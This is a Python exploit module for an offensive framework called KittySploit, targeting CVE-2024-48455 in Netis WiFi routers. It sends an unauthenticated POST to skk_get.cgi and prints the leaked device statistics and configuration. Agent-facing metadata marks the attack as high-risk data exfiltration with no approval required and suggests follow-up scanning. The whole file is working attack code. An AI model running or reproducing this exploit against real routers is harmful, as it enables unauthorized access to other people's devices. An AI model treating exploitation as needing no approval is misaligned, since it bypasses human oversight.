Netis Router Info Disclosure (CVE-2024-48455)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netis router skk_get.cgi info disclosure (CVE-2024-48455)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Netis Router Info Disclosure (CVE-2024-48455)',
        'description': (
            'Exploits CVE-2024-48455 in Netis WiFi routers: unauthenticated POST to '
            'skk_get.cgi with mode_name/wl_link leaks device stats and configuration.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-48455'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-48455'],
        'tags': ['netis', 'router', 'info-leak', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['risk_signals', 'tech_hints'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_48455_detect']},
        },
    }

    def check(self):
        r = self.http_request(
            method='POST',
            path='/cgi-bin/skk_get.cgi',
            data='mode_name=skk_get&wl_link=0',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and ('version' in body.lower() or 'statslist' in body.lower()):
            return {'vulnerable': True, 'reason': 'Netis skk_get disclosure confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'skk_get failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Netis router not vulnerable')
            return False
        r = self.http_request(
            method='POST',
            path='/cgi-bin/skk_get.cgi',
            data='mode_name=skk_get&wl_link=0',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        print_success((r.text or '')[:4000] if r else '')
        return True